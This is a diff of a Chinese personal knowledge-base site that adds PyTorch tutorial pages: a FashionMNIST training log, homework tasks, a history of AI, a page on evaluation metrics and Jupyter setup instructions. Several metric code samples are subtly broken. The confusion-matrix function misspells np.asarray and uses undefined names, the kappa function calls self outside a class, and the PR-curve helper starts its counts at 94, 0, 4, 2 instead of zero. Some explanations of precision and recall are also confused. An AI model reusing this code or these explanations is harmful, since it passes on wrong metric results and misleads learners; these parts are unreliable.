data, label = data.cuda(), label.cuda()
output = model(data)
preds = torch.argmax(output, 1)
gt_labels.append(label.cpu().data.numpy())
pred_labels.append(preds.cpu().data.numpy())
loss = criterion(output, label)
val_loss += loss.item()*data.size(0)
val_loss = val_loss/len(test_loader.dataset)
gt_labels, pred_labels = np.concatenate(gt_labels), np.concatenate(pred_labels)
acc = np.sum(gt_labels==pred_labels)/len(pred_labels)
print('Epoch: {} \tValidation Loss: {:.6f}, Accuracy: {:6f}'.format(epoch, val_loss, acc))
+
for epoch in range(1, epochs+1):
train(epoch)
val(epoch)
+
/data1/ljq/anaconda3/envs/smp/lib/python3.8/site-packages/torch/nn/functional.py:718: UserWarning: Named tensors and all their associated APIs are an experimental feature and subject to change. Please do not use them for anything important until they are released as stable. (Triggered internally at  /opt/conda/conda-bld/pytorch_1623448234945/work/c10/core/TensorImpl.h:1156.)
return torch.max_pool2d(input, kernel_size, stride, padding, dilation, ceil_mode)


Epoch: 1 Training Loss: 0.659050
Epoch: 1 Validation Loss: 0.420328, Accuracy: 0.852000
Epoch: 2 Training Loss: 0.403703
Epoch: 2 Validation Loss: 0.350373, Accuracy: 0.872300
Epoch: 3 Training Loss: 0.350197
Epoch: 3 Validation Loss: 0.293053, Accuracy: 0.893200
Epoch: 4 Training Loss: 0.322463
Epoch: 4 Validation Loss: 0.283335, Accuracy: 0.892300
Epoch: 5 Training Loss: 0.300117
Epoch: 5 Validation Loss: 0.268653, Accuracy: 0.903500
Epoch: 6 Training Loss: 0.282179
Epoch: 6 Validation Loss: 0.247219, Accuracy: 0.907200
Epoch: 7 Training Loss: 0.268283
Epoch: 7 Validation Loss: 0.242937, Accuracy: 0.907800
Epoch: 8 Training Loss: 0.257615
Epoch: 8 Validation Loss: 0.234324, Accuracy: 0.912200
Epoch: 9 Training Loss: 0.245795
Epoch: 9 Validation Loss: 0.231515, Accuracy: 0.914100
Epoch: 10 Training Loss: 0.238739
Epoch: 10 Validation Loss: 0.229616, Accuracy: 0.914400
Epoch: 11 Training Loss: 0.230499
Epoch: 11 Validation Loss: 0.228124, Accuracy: 0.915200
Epoch: 12 Training Loss: 0.221574
Epoch: 12 Validation Loss: 0.211928, Accuracy: 0.921200
Epoch: 13 Training Loss: 0.217924
Epoch: 13 Validation Loss: 0.209744, Accuracy: 0.921700
Epoch: 14 Training Loss: 0.206033
Epoch: 14 Validation Loss: 0.215477, Accuracy: 0.921400
Epoch: 15 Training Loss: 0.203349
Epoch: 15 Validation Loss: 0.215550, Accuracy: 0.919400
Epoch: 16 Training Loss: 0.196319
Epoch: 16 Validation Loss: 0.210800, Accuracy: 0.923700
Epoch: 17 Training Loss: 0.191969
Epoch: 17 Validation Loss: 0.207266, Accuracy: 0.923700
Epoch: 18 Training Loss: 0.185466
Epoch: 18 Validation Loss: 0.207138, Accuracy: 0.924200
Epoch: 19 Training Loss: 0.178241
Epoch: 19 Validation Loss: 0.204093, Accuracy: 0.924900
Epoch: 20 Training Loss: 0.176674
Epoch: 20 Validation Loss: 0.197495, Accuracy: 0.928300
+

模型保存
+训练完成后,可以使用torch.save保存模型参数或者整个模型,也可以在训练过程中保存模型
+这部分会在后面的课程中详细介绍

+
save_path = "./FahionModel.pkl"
torch.save(model, save_path)
+

作业

+
    +
  • 模型训练
  • +
+
    +
  1. 在学习完6.2 动态调整学习率后尝试使用动态调整学习率的方法训练模型。
  2. +
  3. 在学习完6.3 模型微调后,尝试使用预训练模型进行模型微调,观察模型的训练效果。
  4. +
  5. 在学习完6.5 数据增强后,尝试使用imgaug库进行数据增强,观察模型的训练效果。
  6. +
  7. 在学习完7.3 使用TensorBoard可视化训练过程后,尝试使用TensorBoard可视化训练过程,观察模型的训练效果。
  8. +
  9. 使用多卡训练模型,观察模型的训练效果。
  10. +
+
    +
  • 模型推理
  • +
+
    +
  1. 在学习完5.4 PyTorh模型保存与读取后,加载已经训练好的模型,进行模型推理。
  2. +
  3. 使用sklearn.metrics中的classification_report函数,输出模型的分类报告。
  4. +
  5. 学习完9.1 使用ONNX进行部署并推理后,将模型转换为ONNX格式,使用ONNXRuntime进行推理。
  6. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第四章/index.html b/docs/个人知识库/AI/PyTorch/第四章/index.html new file mode 100644 index 0000000..80c861b --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第四章/index.html @@ -0,0 +1,46 @@ + + + + + +第四章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第零章/0.1 人工智能简史/index.html b/docs/个人知识库/AI/PyTorch/第零章/0.1 人工智能简史/index.html new file mode 100644 index 0000000..b3ccf69 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第零章/0.1 人工智能简史/index.html @@ -0,0 +1,80 @@ + + + + + +0.1 人工智能简史.md | wjlin0 + + + + + + + +

0.1 人工智能简史.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:06
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

人工智能简史

+

自从图灵在1950年第一次提出“机器智能(Machine Intelligence)”这个概念以来,人工智能已经经历了七十余年的发展。在这七十多年中,人工智能的发展先后经历了三次浪潮,每一次浪潮对人工智能的发展来说,都是具有里程碑意义的。接下来我们将以这三次浪潮为主线,为大家介绍人工智能的发展历程。除此之外,我们也将会给大家介绍现在常说的Deep learning,Machine Learning和AI之间的关系。

+

[* ]通过本章学习,你将收获:

+
    +
  • 了解人工智能的三次浪潮
  • +
  • 了解Deep learning,Machine learning和AI之间的关系
  • +
+

1.1 人工智能的三次浪潮​

+

1.1.1 第一次浪潮​

+

1950年,阿兰·图灵发表著名论文《计算机器与智能》,在这篇论文中,他提出了机器思维的概念和图灵测试,标志着“机器的智能化”正式进入人类的科技树。在此之后的数年间,机器智能有了进一步的发展。两年后的1952年,计算机科学家阿瑟·萨缪尔开发出一款跳棋程序,并提出了“机器学习”这个概念。在此之后的4年里,机器智能化也取得了一定的进步,直到1956年的达特茅斯会议上,约翰·麦卡锡正式提出了“人工智能”这个词语,1956年,也就成为了实际意义上的人工智能元年。

+

达特茅斯会议之后,人工智能进入了一个高速发展的时期,也就是所谓的“第一次浪潮”。这次浪潮一直持续到二十世纪六十年代中期。在这近10年的时间里,计算机本身的“智能”并没有得到发展,快速进步的是人工智能的一些理论与算法方面。很多对后来人工智能发展起到奠基作用的算法——如罗森布拉特在1957年发明感知机——就是在这个时间段诞生的。感知机是机器学习人工神经网络理论中神经元的最早模型,这一模型也使得人工神经网络理论得到了巨大的突破。除此之外,强化学习的雏形也是在那段时间提出的。彼时的科学界都弥漫着快乐的气氛,大家都认为,只要坚持走下去,人工智能就一定会得到跨越式的发展。但事与愿违,不久后人工智能的第一次寒冬(AI Winter)就到来了。

+

1966年前后,AI遭遇了瓶颈。人们发现逻辑证明器、感知器、强化学习等等只能做很简单、非常专门且很窄的任务,稍微超出范围就无法应对。当时的计算机有限的内存和处理速度不足以解决任何实际的AI问题。研究者们很快就意识到,要求程序对这个世界具有儿童水平的认识这个要求都太高了——那时没人能够做出人工智能需要的巨大数据库,也没人知道一个程序怎样才能学到如此丰富的信息。另一方面,有很多计算复杂度以指数程度增加,这成为了不可能完成的计算任务。

+

可以说,人工智能的第一次浪潮在发展到“非智能对话机器”的智能化初级阶段时,就因为当时的技术限制不得不停摆。人工智能的发展似乎陷入了一个无解的“死胡同”里,并被计算机科学家们逐渐冷落。

+

1.1.2 第二次浪潮​

+

时间来到了20世纪80年代。经过了数十年的研究,科学家们逐渐放弃了初代的符号学派思路,改用统计学的思路来研究人工智能。研究思路的改变再加上硬件技术的升级,人工智能的发展又一次迎来的新的契机。在那个时代,基于人工智能的“专家系统”受到了绝对的热捧。特定领域的“专家系统”程序被更广泛的采纳,该系统能够根据领域内的专业知识,推理出专业问题的答案,人工智能也由此变得更加“实用”,专家系统所依赖的知识库系统和知识工程成为了当时主要的研究方向。

+

但由于专家系统仅适用于某些特定场景,很快人们就对这一系统由狂热的追捧逐渐走向巨大的失望。与此同时,现代电子计算机的出现让“知识查询”的费用进一步降低,人们更加深刻的意识到专家系统是如此的古老陈旧。因此,政府部门下调了专家系统的研发资金。缺少了资金的支持,由专家系统再次兴起的人工智能研究又一次陷入了低谷之中。

+

虽然第二次浪潮持续的时间比较短,但它在整个人工智能发展历史中仍然起到了举足轻重的作用。它彻底改变了人工智能研究的大思路,将统计学思想引入研究之中,为人工智能在未来几十年的发展打下了基础。除此之外,在这次浪潮中提出的BP神经网络,为之后机器感知、交互的能力奠定了基础。

+

1.1.3 第三次浪潮​

+

1993年后,新的数学工具,理论和摩尔定律的出现,使得计算机的算力进一步提高,以深度学习为核心的机器学习算法获得发展,新的芯片和云计算的发展使得可用的计算能力获得飞跃式提高,大数据的发展使得海量数据的储存和分析成为可能。在这样的技术背景下,人工智能的第三次浪潮即将到来。

+

人工智能的第三次浪潮有两个重要的时间节点:2006年和2016年。2006年是深度学习发展史的分水岭。杰弗里辛顿在这一年发表了《一种深度置信网络的快速学习算法》,其他重要的深度学习学术文章也在这一年被发布,在基本理论层面取得了若干重大突破。而2016年3月,谷歌DeepMind研发的AlphaGo在围棋人机大战中击败韩国职业九段棋手李世乭,“人工智能”一词正式进入普通民众的视野并被逐渐熟知。至此,人工智能正式迈向了从“科研领域的应用型工具”到“实用性,功能性工具”的转变,人工智能有了新的研究方向和研究模式,即从过去的学术主导型研究逐渐走向了商业主导型研究。随着人类社会对智能化工具的不断追求和探索,人工智能的发展迎来了全新的时代。

+

1.1.4 总结​

+

+

上图是对人工智能发展中经历的三次浪潮和两次寒冬的形象总结。除此之外,有观点认为,深度学习算法带来的“技术红利”,将支撑我们再发展5~10年时间,随后就会遇到瓶颈。人工智能不是一个简单的从1到100进步的过程,它往往趋向于两个极端:要么90分以上,其它的都是10分以下。目前,人工智能急需寻找到一个“技术奇点”,让人工智能迅速发展到通用人工智能甚至是超级人工智能的水平。否则,在人工智能研究商业化的今天,无法从中获利的投资人们将快速撤资退场,人工智能或将进入下一个寒冬。

+

1.2 DL,ML,AI三者之间的关系​

+

大家对“人工智能”这个词,也就是我们所谓的“AI”(Artificial Intelligence)想必是非常熟悉,无论是近几年各行各业都喜欢用作营销噱头的“智能化”还是早期电影如《黑客帝国》、《终结者》等,都让AI这个概念深入人心。但近几年,另外两个词语也在逐步进入我们的生活,即就是“机器学习(Machine Learning,ML)”和“深度学习(Deep Learning,DL)”。在接下来的叙述中,我们就将了解DL和ML究竟是什么,以及它们和AI之间的关系。

+

1.2.1 DL和ML是什么​

+

Machine Learning(机器学习)。它在1959年被机器学习的先驱者之一的阿瑟·塞缪尔定义为:一门研究领域,它赋予计算机无需明确编程就能学习的能力。也就是说,机器学习程序不同于传统编程那样,使用if-then语句那样明确地输入到计算机中以便它根据条件执行。在某种意义上,机器学习程序赋予机器根据所接触到的数据进行自我调整的能力。机器学习更像是一种优化算法,如果我们在事先就对它进行了正确的调整,那么它就会在一遍又一遍的尝试和猜测之中不断减少它的错误,以无限逼近于最终的正确结果。而机器学习的基本思路,也就是将现实问题抽象成为一个数学问题,机器通过训练,寻找到解决数学问题的方法,进而解决现实问题。

+

Deep Learning(深度学习)。它在2006年被提出,并在近些年得到了迅速的发展。它通过建立、模拟人脑进行分析学习的神经网络,并模仿人脑的机制来解释数据。李开复教授在《人工智能》一书中这样解释深度学习:“假设深度学习要处理的信息是“水流”,而处理数据的深度学习网络是一个由管道和阀门组成的巨大水管网络。网络的入口是若干管道开口,网络的出口也是若干管道开口。这个水管网络有许多层,每一层由许多个可以控制水流流向与流量的调节阀。根据不同任务的需要,水管网络的层数、每层的调节阀数量可以有不同的变化组合。对复杂任务来说,调节阀的总数可以成千上万甚至更多。水管网络中,每一层的每个调节阀都通过水管与下一层的所有调节阀连接起来,组成一个从前到后,逐层完全连通的水流系统。”

+

1.2.2 它们和AI的关系​

+

众所周知,人工智能是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门技术科学。既然如此,那么计算器算是人工智能吗?严格地说是算的,因为它至少做了“模拟”人在计算方面的智能,并扩展了这个能力(比人算得更快)。我们通过代码驱动计算机去帮我们干活,这个算是人工智能吗?也算的。我们现在看到的貌似很高端的技术,如图像识别、NLP,其实依然没有脱离这个范围,说白了,就是“模拟人在看图方面的智能”和“模拟人在听话方面的智能”,本质上和“模拟人在计算方面的智能”没啥两样,虽然难度有高低,但目的是一样的——模拟、延伸和扩展人的智能。

+

随着人对计算机的期望越来越高,要求它解决的问题越来越复杂,仅仅算的更快,看的更准已经远远不能满足人们的诉求了。要解决的问题域越来越复杂,即使是同一个问题,其面对的场景也越来越多。传统的思路就是查找问题的条件和解决方法,在计算机程序中再加入一个if-then。但这只是治标不治本。随着我们期待解决的问题越来越多,计算机程序将越来越复杂,越来越难以维护。那怎么办呢?于是有人提出了一个新的思路——能否不为难码农,让机器自己去学习呢?

+

至此,“机器学习”的概念,正式诞生。机器学习就是用算法解析数据,不断学习,对世界中发生的事做出判断和预测的一项技术。研究人员不会亲手编写软件、确定特殊指令集、然后让程序完成特殊任务;相反,研究人员会用大量数据和算法“训练”机器,让机器自行学会如何执行任务。说白了,机器学习只是人们实现让机器“模拟、延伸和扩展人的智能”的一种较为轻松的方法罢了。它的成功与否取决于我们喂给机器的数据集是否准确且有效。因此,机器学习是大数据技术领域内的一个应用,人们只是借用这个应用,来发展人工智能罢了。机器学习发展了几十年之后,再次遇到了瓶颈期。随着问题场景的更加复杂多变,需要进行判断的条件更加苛刻,人们不得不重新思考一种方式来优化机器学习。深度学习就是带着这个目的被提出的。

+

机器学习中有一个概念叫“神经网络”,深度学习正是通过优化这个网络来更好的解决通过机器学习难以解决的问题。它的基本特点,就是试图模仿大脑的神经元之间传递,处理信息的模式,通过不同的“层”来拆分问题,每一层解决问题的一个部分。比如在利用深度学习解决智能驾驶问题中,第一层可能用于识别车辆与道路边缘的距离,第二层用于识别道路标线,第三层用于识别路上的其他车辆等等。

+

通过以上几段话的简单描述,DL,ML和AI之间的关系也就明确了。它们三者的关系就像是俄罗斯套娃:AI最大,它的目的是通过让机器模仿人类进而超越人类;ML次之,它是AI的一个分支(也是最重要分支),是让机器模仿人类的一种方法;DL更次之,它是ML的一个分支,它的目的是让机器不借助人工标注,也能自主提取目标特征进而解决问题的一种方法。

+

最后,借用一张经典的关系图作为结尾:

+

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第零章/0.2 评价指标/index.html b/docs/个人知识库/AI/PyTorch/第零章/0.2 评价指标/index.html new file mode 100644 index 0000000..60cc342 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第零章/0.2 评价指标/index.html @@ -0,0 +1,147 @@ + + + + + +0.2 评价指标.md | wjlin0 + + + + + + + +

0.2 评价指标.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:06
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

模型评价指标

+

在我们学习机器学习以及深度学习,甚至在计算机视觉领域,我们不可避免的要利用一些指标评价模型,在本小节中,我们介绍了模型相关评价指标,

+

经过本节的学习 ,我们将会学习到:

+
    +
  • 模型常用的相关评价指标
  • +
  • 不同评价指标的适应性以及优缺点
  • +
+

混淆矩阵​

+

混淆矩阵(也称误差矩阵)是机器学习和深度学习中表示精度评价的一种标准格式,常用n行n列的矩阵形式来表示。其列代表的是预测的类别,行代表的是实际的类标,以一个常见的二分类的混淆矩阵为例。我们会发现二分类的混淆矩阵包括TP, FP, FN, TN,其中TP为True Positive,True代表实际和预测相同,Positive代表预测为正样本。同理可得,False Positive (FP)代表的是实际类别和预测类标不同,并且预测类别为正样本,实际类别为负样本;False Negative (FN)代表的是实际类别和预测类标不同,并且预测类别为负样本,实际类别为正样本;True Negative (TN)代表的是实际类别和预测类标相同,预测类别和实际类别均为负样本。

+ +

在这里我们以一个二分类的例子来帮助大家理解。假设我们是某核酸检测机构,将对100个人进行核酸检测,实际结果为98个阴性,2个阳性,但是我们的模型对核酸检测结果进行预测,预测结果为94个阴性,6个阳性结果,在这里我们定义核酸结果阴性为正样本,核酸结果阳性为负样本。在这个例子中,TP代表实际为阴性且被预测为阴性的数量,共有94人;FP代表实际为阳性,模型预测为阴性的数量,共有0人;FN代表实际为阴性被模型判断为阳性的数量,共有4人;TN代表实际为阳性,被模型识别为阳性的数量,共有2人。 于是我们就可以得到下面的这个混淆矩阵。

+

$$ +\begin{bmatrix} +94 & 0 \ +4 & 2 +\end{bmatrix} \tag{2} +$$

+

我们在此也展示一个10类标+1个背景所产生的归一化的混淆矩阵

+ +

我们在拥有混淆矩阵后,可以计算Accuracy,Precision,Recall,F1 Score等衡量模型的评价指标。关于混淆矩阵的代码实现,我们可以使用sklearn.metrics.confusion_matrix()函数进行计算

+
from sklearn.metrics import confusion_matrix
def compute_confusion_matrix(labels,pred_labels_list,gt_labels_list):
pred_labels_list = np.asarray(pred_labels_list)
gt_labels_list = np.assarray(gt_labels_list)
matrix = confusion_matrix(test_label_list,
pred_label_list,
labels=labels)
return matrix
+

Overall Accuracy​

+

Overall Accuracy代表了所有预测正确的样本占所有预测样本总数的比例,结合上述例子,我们可以用下述公式表示: +$$ +\rm{OA} =\frac{\rm{TP+TN}}{\rm{TP+TN+FP+FN}} = \frac{N_{correct}}{N_{total}} +$$ +这里的分类正确代表了正样本被正确分类为正样本,负样本正确分类为负样本。准确率是描述模型最简单的指标,Acc的缺点主要在于假如说我们举得例子,在样本中,核酸结果成阴性占据了模型98%, +假如说模型不调试分类,我只要一直判断核酸结果呈阴性,那我们的模型最终效果可能会更好,但是实际上模型的效率以及准确率都是非常低下的。当我们的样本正负样本极端不平衡时Acc这个评价指标其实是没有意义的。我们再回到上面的例子中,可以计算在该例子中Acc = 0.96. +$$ +OA=\frac{\rm{TP+TN}}{100}= \frac{96}{100}= 0.96 +$$

+
def compute_oa(matrix):
"""
计算总体准确率,OA=(TP+TN)/(TP+TN+FP+FN)
:param matrix:
:return:
"""
return np.trace(matrix) / np.sum(matrix)
+

Average accuracy​

+

Average accuracy( AA) 代表的是平均精度的计算,平均精度计算的是每一类预测正确的样本与该类总体数量之间的比值,最终再取每一类的精度的平均值。代码实现中,我们使用numpy的diag将混淆矩阵的对角线元素取出,并且对于混淆矩阵进行列求和,用对角线元素除以求和后的结果,最后对结果计算求出平均值。

+
def compute_aa(matrix):
"""
计算每一类的准确率,AA=(TP/(TP+FN)+TN/(FP+TN))/2
:param matrix:
:return:
"""
return np.mean(np.diag(matrix) / np.sum(matrix, axis=1))
+

Kappa系数​

+

Kappa系数是一个用于一致性检验的指标,也可以用于衡量分类的效果。对于分类问题而言,一致性就是模型预测结果和实际分类结果是否一致。kappa系数的计算同样也是基于混淆矩阵进行计算,取值为-1到1之间,通常大于0。我们可以使用下述公式进行计算: +$$ +kappa = \frac{p_o-p_e}{1-p_e}\ +p_o = OA\ +p_e = \frac{\sum_{i} (x_i \cdot x_j)}{(\sum_{j=0}^n\sum_{i=0}^{n} x_{ij})^2} +$$

+
def compute_kappa(matrix):
"""
计算kappa系数
:param matrix:
:return:
"""
oa = self.compute_oa(matrix)
pe = 0
for i in range(len(matrix)):
pe += np.sum(matrix[i]) * np.sum(matrix[:, i])
pe = pe / np.sum(matrix) ** 2
return (oa - pe) / (1 - pe)
+

Recall​

+

Recall也称召回率,代表了实际为正样本并且也被正确识别为正样本的数量占样本中所有为正样本的比例,可以用下述公式进行表示 +$$ +\rm{Recall} = \frac{\rm{TP}}{\rm{TP + FN}} +$$

+

Recall是判断模型正确识别所有正样本的能力。结合我们所举的例子,代表了模型对于正样本的识别能力,也能较好的反应模型的优劣。与Precision不同的是,我们是反映了模型预测时候有多少阴性(正样本)被检测出来。在例子中代表了实际为阴性被模型正确判断为阴性的数量占实际为阴性的比例,即 +$$ +\rm{Recall} = \frac{94}{98}=0.959 +$$

+

Precision​

+

Precision也称精准率,代表的是在全部预测为正的结果中,被预测正确的正样本所占的比例,可以用下述公式进行表示 +$$ +\rm{Precision} = \frac{\rm{TP}}{\rm{TP + FP}} +$$ +FP代表了阳性患者被预测为阴性(正样本),TP代表了阴性被正确预测为阴性。相较于Acc,Precision更能较好的反应出模型对于正样本(阴性)识别能力。和Recall不同的是,Precision代表了预测结果中有多少样本是分类正确的。 +在实际应用场景中,我们继续结合核酸的例子,当我们在进行全面核酸检测时,我们的希望在于模型尽可能少的漏掉阳性患者,此时认为模型Precision显得更为重要。

+

F1​

+

$$ +\rm{F_1} = 2\cdot\frac{P\times R}{P+R} = \frac{2TP}{FP+FN+2TP} +$$

+

F1在模型评估中也是一种重要的评价指标,F1可以解释为召回率(Recall)和P(精确率)的加权平均,F1越高,说明模型鲁棒性越好。人们希望有一种更加广义的方法定义F-score,希望可以改变P和R的权重,于是人们定义了$F_{\beta}$,其定义式如下: +$$ +\rm{F_{\beta}}=\frac{\left(1+\beta^{2}\right) \times P \times R}{\left(\beta^{2} \times P\right)+R} +$$

+
    +
  • 当 $\beta$ > 1 时,更偏好召回(Recall)
  • +
  • 当 $\beta$ < 1 时,更偏好精准(Precision)
  • +
  • 当 $\beta$ = 1 时,平衡精准和召回,即为 F1
  • +
+

当有多个混淆矩阵(多次训练、多个数据集、多分类任务)时,有两种方式估算 “全局” 性能:

+
    +
  • macro 方法:先计算每个 PR,取平均后,再计算 F1
  • +
  • micro 方法:先计算混淆矩阵元素的平均,再计算 PR 和 F1
  • +
+

PR曲线​

+

在深度学习常用指标中,PR曲线也能很直观的反应模型好坏。我们用一副经典图来说明问题:

+ +

横轴是召回率,纵轴代表了P(精确率),P-R曲线上的一个点代表着,在某一阈值下,模型将大于该阈值的结果判定为正样本,小于该阈值的结果判定为负样本,此时返回结果对应的召回率和精确率。整条P-R曲线是通过将阈值从高到低移动而生成的。原点附近代表当阈值最大时模型的精确率和召回率,在PR曲线我们可以从图中直观的看到某一个曲线被另外一条曲线完全包裹,所包围的面积大于另一条曲线包围的面积,举例图中可以说明A模型的性能优于B和C。 +参考代码如下:

+
from typing import List, Tuple
import matplotlib.pyplot as plt

def get_confusion_matrix(
y_pred: List[int],
y_true: List[int]
) -> Tuple[int, int, int, int]:

length = len(y_pred)
assert length == len(y_true)
tp, fp, fn, tn = 94, 0, 4, 2
for i in range(length):
if y_pred[i] == y_true[i] and y_pred[i] == 1:
tp += 1
elif y_pred[i] == y_true[i] and y_pred[i] == 0:
tn += 1
elif y_pred[i] == 1 and y_true[i] == 0:
fp += 1
elif y_pred[i] == 0 and y_true[i] == 1:
fn += 1
return (tp, fp, tn, fn)
def calc_p(tp: int, fp: int) -> float:
return tp / (tp + fp)
def calc_r(tp: int, fn: int) -> float:
return tp / (tp + fn)
def get_pr_pairs(
y_pred_prob: List[float],
y_true: List[int]
) -> Tuple[List[int], List[int]]:
ps = [1]
rs = [0]
for prob1 in y_pred_prob:
y_pred_i = []
for prob2 in y_pred_prob:
if prob2 < prob1:
y_pred_i.append(0)
else:
y_pred_i.append(1)
tp, fp, tn, fn = get_confusion_matrix(y_pred_i, y_true)
p = calc_p(tp, fp)
r = calc_r(tp, fn)
ps.append(p)
rs.append(r)
ps.append(0)
rs.append(1)
return ps, rs

y_pred_prob = [0.9, 0.8, 0.7, 0.6, 0.55, 0.54, 0.53, 0.52, 0.51, 0.505,
0.4, 0.39, 0.38, 0.37, 0.36, 0.35, 0.34, 0.33, 0.3, 0.1]
y_true = [1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0]
y_pred = [1] * 10 + [0] * 10
ps, rs = get_pr_pairs(y_pred_prob, y_true)
fig, ax = plt.subplots(nrows=1, ncols=1, figsize=(12, 5))
ax.plot(rs, ps);
+

置信度​

+

在目标检测中,我们通常需要将边界框内物体划分为正样本和负样本。我们使用置信度这个指标来进行划分,当小于置信度设置的阈值判定为负样本(背景),大于置信度设置的阈值判定为正样本.

+

IOU​

+

雅卡尔指数( Jaccard index),交并比,也是我们在目标检测和语义分割领域经常见到的IOU。 IOU可以去除目标检测的冗余框进行后处理优化并且还可以计算Loss达到优化模型的效果。 +$$ +\rm{IOU} = \frac{A\cap B}{A\cup B}=\frac{S_{交集}}{S_{并集}} +$$ +分子部分是模型预测框与真实标注框之间的重叠区域,分母部分是两者的并集,预测框和实际框所占有的总区域,在实际模型识别时会根据我们自己设定合适的阈值来判定正负样本。

+ +

一般情况下在目标检测任务中,人们将IOU $\geq$0.7时判定为正样本,其余情况判定为负样本。

+

AP​

+

结合我最近做的实验结合理解下,AP事实上是PR曲线所包含的面积,当我们取不同的置信度,可以获得不同的P和Recall,PR曲线下面所包含的面积就是模型检测某个类的AP值。我们仍然以上述核酸检测为例,

+

mAP​

+

我们熟悉了上面的基础概念,就可以计算模型的mAP了,全称mean Average Precision,mAP则是所有类的AP值的平均值。通过上述的PR曲线,我们可以得到对应的AP值,通过了解, +(1)在2010年以前,VOC竞赛AP值的定义为:对于一条AP曲线,我们把Recall的值从0-1划分为11分,即:0、0.1、0.2、0.3、0.4、0.5、0.6、0.7、0.8、0.9、1.0,然后基于每个小区间计算Precision的最大值,然后计算他们的总和求平均,就是AP值,被称作11-poinst-interpolation. +(2) 2010年后,重新定义为PR曲线上所有的Recall,选取大于等于这些Recall值时的最大值Precision,计算PR曲线下面面积作为AP值.被称作all-poinst-interpolation.

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第零章/0.3 常用包的学习/index.html b/docs/个人知识库/AI/PyTorch/第零章/0.3 常用包的学习/index.html new file mode 100644 index 0000000..d72dc16 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第零章/0.3 常用包的学习/index.html @@ -0,0 +1,48 @@ + + + + + +0.3 常用包的学习.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第零章/0.4 Jupyter相关操作/index.html b/docs/个人知识库/AI/PyTorch/第零章/0.4 Jupyter相关操作/index.html new file mode 100644 index 0000000..ad3e338 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第零章/0.4 Jupyter相关操作/index.html @@ -0,0 +1,385 @@ + + + + + +0.4 Jupyter相关操作.md | wjlin0 + + + + + + + +

0.4 Jupyter相关操作.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:07
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

Jupyter notebook/Lab 简述

+

在数据科学,机器学习,深度学习中,我们希望即时进行图像的可视化和函数的计算,基于这种需求,人们开发出了基于网页的用于交互计算的应用程序Jupyter Notebook。在我们的教程代码也是基于Jupyter notebook。除此之外,它们可被应用于全过程计算:开发、文档编写、运行代码和展示结果。在Jupyter Notebook中编写的文档保存为.ipynb的JSON格式文件,文档可以导出为HTML、LaTeX、markdown、PDF等格式。Jupyter Notebook的主要特点有:

+
    +
  • +

    编程时具有语法高亮、缩进、tab补全的功能。

    +
  • +
  • +

    可直接通过浏览器运行代码,同时在代码块下方展示运行结果。

    +
  • +
  • +

    以富媒体格式展示计算结果。富媒体格式包括:HTML,LaTeX,PNG,SVG等。

    +
  • +
  • +

    对代码编写说明文档或语句时,支持Markdown语法。

    +
  • +
  • +

    支持使用LaTeX编写数学性说明。

    +
  • +
+

除此之外,好用的Jupyter Notebook还有个“双胞胎”——Jupyter Lab。Jupyter Lab是基于Web的集成开发环境,可以把它当作进化版的Jupyter Notebook。使用Jupyter Lab可以同时在一个浏览器页面打开编辑多个Notebook、Ipython console和terminal终端,甚至可以使用Jupyter Lab连接Google Drive等服务。由于Jupyter Lab拥有模块化结构,提供更多类似IDE的体验,已经有越来越多的人从使用Jupyter Notebook转向使用Jupyter Lab。

+

[* ]通过本章学习,你将收获:

+
    +
  • 安装和配置Jupyter Notebook和Jupyter Lab的方法
  • +
  • Jupyter Notebook的基本操作和快捷键
  • +
  • 使用Jupyter Notebook编写代码的方式
  • +
  • 了解Jupyter Notebook的Bash命令和魔术命令
  • +
  • 为Jupyter Notebook安装拓展插件的方法
  • +
+

1 Jupyter Notebook/Lab安装​

+
    +
  1. +

    安装Jupyter Notebook:激活虚拟环境后,我们只需要在终端输入指令

    +
    conda install jupyter notebook
    # pip install jupyter notebook
    +
  2. +
+
    +
  • +

    注:如果pip版本过低,还需提前运行更新pip的指令

    +
    pip install --upgrade pip
    +
  • +
+
    +
  1. +

    安装Jupyter Lab:激活环境后,我们同样也只需要在终端输入指令

    +
    conda install -c conda-forge jupyterlab
    # pip install jupyterlab
    +
  2. +
  3. +

    在终端输入指令打开Jupyter Notebook

    +
    jupyter notebook  # 打开Jupyter Notebook
    jupyter lab # 打开Jupyter Lab
    +
  4. +
+
    +
  • +

    如果浏览器没有自动打开Jupyter Notebook或者Jupyter Lab,复制端口信息粘贴至浏览器打开

    +

    image-20220812162810305

    +
  • +
  • +

    如果想要自定义端口,在终端输入如下指令修改

    +
    jupyter notebook --port <port_number>
    +
  • +
  • +

    如果想启动服务器但不打开浏览器,可以在终端输入

    +
    jupyter notebook --no-browser
    +
  • +
+

2 Jupyter Notebook/Lab配置​

+

2.1 设置文件存放位置​

+

​ 在使用Jupyter Notebook/Jupyter Lab时,如果我们想要更改默认文件存放路径,该怎么办?

+
    +
  • Jupyter Notebook
  • +
+
    +
  1. +

    我们首先需要查看配置文件,只需要在终端输入

    +
    jupyter notebook --generate-config
    +
  2. +
  3. +

    我们记住出现配置文件的路径,复制到文件夹中打开(终端这里可以写N)

    +
  4. +
+image-20220716235510697 +
    +
  1. 在文件夹中双击打开配置文件
  2. +
+image-20220716235540827 +
    +
  1. +

    打开Python文件后,用Ctrl+F快捷键查找,输入关键词,找到# c.NotebookApp.notebook_dir = ''

    +
